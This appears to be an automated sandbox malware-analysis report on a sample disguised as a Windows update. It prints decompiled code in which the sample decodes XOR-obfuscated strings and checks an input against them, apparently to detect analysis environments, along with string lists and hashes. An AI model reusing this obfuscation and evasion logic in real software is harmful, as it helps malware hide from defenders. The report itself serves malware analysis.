r, xrefs: 0040EAB6
g, xrefs: 0040E73F
j, xrefs: 0040E55F
e, xrefs: 0040E63E
n, xrefs: 0040E3A4
n, xrefs: 0040E9A3
x$], xrefs: 0040E376
s, xrefs: 0040E7B5
a, xrefs: 0040E434
t, xrefs: 0040E964
dualc, xrefs: 0040EC6E
n, xrefs: 0040ECE3
s, xrefs: 0040E9B2
A, xrefs: 0040E306
O, xrefs: 0040E3DB
lmada, xrefs: 0040ED07
s, xrefs: 0040ECBB
e, xrefs: 0040E99B
r, xrefs: 0040E7D5
n, xrefs: 0040E796
c, xrefs: 0040E518
o, xrefs: 0040ECDB
j, xrefs: 0040E626
f, xrefs: 0040E2F7
l, xrefs: 0040EAC6
r, xrefs: 0040ECD3
n, xrefs: 0040E42C
e, xrefs: 0040E95C
o, xrefs: 0040E394
rebyc, xrefs: 0040ED77
a, xrefs: 0040E7DD
n, xrefs: 0040E424
a, xrefs: 0040E528
,, xrefs: 0040E3CB
h, xrefs: 0040E39C
i, xrefs: 0040E78E
S, xrefs: 0040E71F
n, xrefs: 0040E9C2
a, xrefs: 0040E9BA
j, xrefs: 0040E38C
fna, xrefs: 0040E8D9
t, xrefs: 0040E96C
<, xrefs: 0040E777
(, xrefs: 0040E301
B, xrefs: 0040E2FC
n, xrefs: 0040E7C5
C, xrefs: 0040E747
!, xrefs: 0040E3FB
o, xrefs: 0040E3BB
r, xrefs: 0040E9D2
a, xrefs: 0040E9DA
l, xrefs: 0040E786
m, xrefs: 0040E9F9
Ljq, xrefs: 0040E5C0
a, xrefs: 0040EAAE
d, xrefs: 0040E7CD
I, xrefs: 0040E8FD
c, xrefs: 0040EAA6
6, xrefs: 0040E3C3
y, xrefs: 0040E974
s, xrefs: 0040E328
d, xrefs: 0040E79E
b, xrefs: 0040E954
o, xrefs: 0040EABE
d, xrefs: 0040E9CA
hyb, xrefs: 0040ED23
!, xrefs: 0040E323
a, xrefs: 0040E7A6
h, xrefs: 0040ECC3
l, xrefs: 0040E520
a, xrefs: 0040ECCB
u, xrefs: 0040E530
,, xrefs: 0040E30B
n, xrefs: 0040E636

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$A$B$C$I$Ljq$O$S$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$t$t$u$x$]$y
API String ID: 0-3286634472
Opcode ID: bd6bb27d60141563e35dc989fdf8730712766b0b72a44616c1c7e8647056d585
Instruction ID: 214f063a2eaa7479a4200d3698902748cf37a85b794205f16bdb65cf0bbf3bb2
Opcode Fuzzy Hash: bd6bb27d60141563e35dc989fdf8730712766b0b72a44616c1c7e8647056d585
Instruction Fuzzy Hash: C862AF2400D7C18AE332CB7894547DFFFD15BA6308F089EAED4DD6A292C6B60159CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00409F47, Relevance: 95.6, Strings: 76, Instructions: 616
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00409F47(void* __eax, char __ebx, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a28, char _a29, char _a30, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a408, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a480, char _a488, char _a496, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a520, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a568, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a624, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a668, char _a692, char _a693, char _a694, char _a695, char _a696, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t523;
				signed int _t524;
				void* _t525;
				intOrPtr _t527;
				intOrPtr _t533;
				void* _t534;
				void* _t535;
				intOrPtr _t536;
				void* _t537;
				void* _t538;
				void* _t539;
				void* _t540;
				intOrPtr _t542;
				void* _t543;
				void* _t548;
				intOrPtr _t551;
				intOrPtr _t552;
				void* _t553;
				void* _t554;
				intOrPtr _t557;
				void* _t561;
				char _t562;
				intOrPtr _t576;
				void* _t596;
				intOrPtr _t677;
				intOrPtr _t679;
				signed int _t680;
				intOrPtr _t682;
				void* _t684;
				void* _t686;
				void* _t687;
				void* _t688;
				void* _t689;
				void* _t690;

				_t523 = __eax;
				do {
					 *(_t684 + _t523 + 0x270) =  *(_t684 + _t523 + 0x270) ^ 0x000000df;
					_t523 = _t523 + 1;
				} while (_t523 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t524 = 0;
				do {
					 *(_t684 + _t524 + 0x260) =  *(_t684 + _t524 + 0x260) ^ 0x0000002e;
					_t524 = _t524 + 1;
				} while (_t524 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t525 = 0;
				do {
					 *((char*)(_t684 + _t525 + 0x1a8)) =  *((intOrPtr*)(_t684 + _t525 + 0x1a8)) +  *((intOrPtr*)(_t684 + _t525 + 0x17c));
					_t525 = _t525 + 1;
				} while (_t525 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t527 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t527;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = __ebx;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t533 = E00407370( &_a376);
				_t686 = _t684 + 0x18;
				_a72 = _t533;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t534 = 0;
				do {
					 *(_t686 + _t534 + 0x258) =  *(_t686 + _t534 + 0x258) ^  *(_t686 + _t534 + 0x17c);
					_t534 = _t534 + 1;
				} while (_t534 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t535 = 0;
				do {
					 *(_t686 + _t535 + 0x248) =  *(_t686 + _t535 + 0x248) ^ 0x00000083;
					_t535 = _t535 + 1;
				} while (_t535 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = __ebx;
				_t536 = E00407370( &_a380);
				_t687 = _t686 + 8;
				_a84 = _t536;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t537 = 0;
				do {
					 *(_t687 + _t537 + 0x278) =  *(_t687 + _t537 + 0x278) ^  *(_t687 + _t537 + 0x17c);
					_t537 = _t537 + 1;
				} while (_t537 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t538 = 0;
				do {
					 *(_t687 + _t538 + 0x288) =  *(_t687 + _t538 + 0x288) ^  *(_t687 + _t538 + 0x17c);
					_t538 = _t538 + 1;
				} while (_t538 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t539 = 0;
				do {
					 *((char*)(_t687 + _t539 + 0x210)) =  *((intOrPtr*)(_t687 + _t539 + 0x210)) +  *((intOrPtr*)(_t687 + _t539 + 0x17c));
					_t539 = _t539 + 1;
				} while (_t539 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t540 = 0;
				do {
					 *(_t687 + _t540 + 0x1f8) =  *(_t687 + _t540 + 0x1f8) ^  *(_t687 + _t540 + 0x17c);
					_t540 = _t540 + 1;
				} while (_t540 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t542 = E00407370( &_a380);
				_t688 = _t687 + 8;
				_a92 = _t542;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t543 = 0;
				do {
					 *(_t688 + _t543 + 0x280) =  *(_t688 + _t543 + 0x280) ^ 0x000000fc;
					_t543 = _t543 + 1;
				} while (_t543 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t576 = E00407370( &_a380);
				_t689 = _t688 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, 8,  &_a776);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t548 = 0;
				do {
					 *(_t689 + _t548 + 0x218) =  *(_t689 + _t548 + 0x218) ^ 0x00000001;
					_t548 = _t548 + 1;
				} while (_t548 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t551 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t679 = _t551;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t552 = E00407370( &_a388);
				_t690 = _t689 + 8;
				_t682 = _t552;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t553 = 0;
				do {
					 *(_t690 + _t553 + 0x1b8) =  *(_t690 + _t553 + 0x1b8) ^ 0x000000d4;
					_t553 = _t553 + 1;
				} while (_t553 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t554 = 0;
				do {
					 *((char*)(_t690 + _t554 + 0x240)) =  *((intOrPtr*)(_t690 + _t554 + 0x240)) +  *((intOrPtr*)(_t690 + _t554 + 0x188));
					_t554 = _t554 + 1;
				} while (_t554 < 7);
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t557 = E004073E0( &_a392, 3,  &_a28);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t596 = 0;
				do {
					 *((intOrPtr*)(_t690 + _t596 + 0x14)) =  *((intOrPtr*)(_t690 + _t596 + 0x14)) +  *((intOrPtr*)(_t690 + _t596 + 0x188));
					_t596 = _t596 + 1;
				} while (_t596 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t677 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t679;
				_a344 = _t576;
				_a360 = _t682;
				_a368 =  &_a576;
				_a372 = _t557;
				_a376 =  &_a20;
				_t680 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t561 = E00425320(_t677,  *((intOrPtr*)(_t690 + 0x84 + _t680 * 4)));
					_t690 = _t690 + 8;
					if(_t561 != 0) {
						break;
					}
					_t680 = _t680 + 1;
					if(_t680 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t690 = _t690 + 4;
						}
						_t562 = 1;
					}
					L34:
					 *[fs:0x0] = _a900;
					return E00424873(_t562, _a896);
				}
				if(_a892 < 0x10) {
					_t562 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t690 = _t690 + 4;
					_t562 = 0;
				}
				goto L34;
			}

0x00409f47
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

}, xrefs: 0040A34F
g, xrefs: 0040A0A9
2, xrefs: 0040A3DA
I, xrefs: 0040A834
&, xrefs: 0040A32F
^, xrefs: 0040A595
h, xrefs: 0040A69E
P, xrefs: 0040A766
d, xrefs: 0040A96F
V, xrefs: 00409F66
5, xrefs: 0040A646
_, xrefs: 0040A814
9, xrefs: 0040A1D2
", xrefs: 0040AA3D
}, xrefs: 0040A505
{, xrefs: 0040AA4F
t, xrefs: 0040A858
p, xrefs: 0040A3C2
d, xrefs: 0040A160
E, xrefs: 0040A03F
c, xrefs: 0040A98F
O, xrefs: 00409F6E
", xrefs: 0040A047
T, xrefs: 0040A7DC
[, xrefs: 0040A1F2
9, xrefs: 0040A057
d, xrefs: 0040A868
H, xrefs: 0040A0A1
:, xrefs: 0040A3E2
#, xrefs: 0040A626
P, xrefs: 0040A64E
E, xrefs: 0040AA59
Z, xrefs: 0040AA1E
@, xrefs: 0040A030
I, xrefs: 0040A58D
, xrefs: 0040A4FD
', xrefs: 0040A844
D, xrefs: 0040A7E4
+, xrefs: 0040A83C
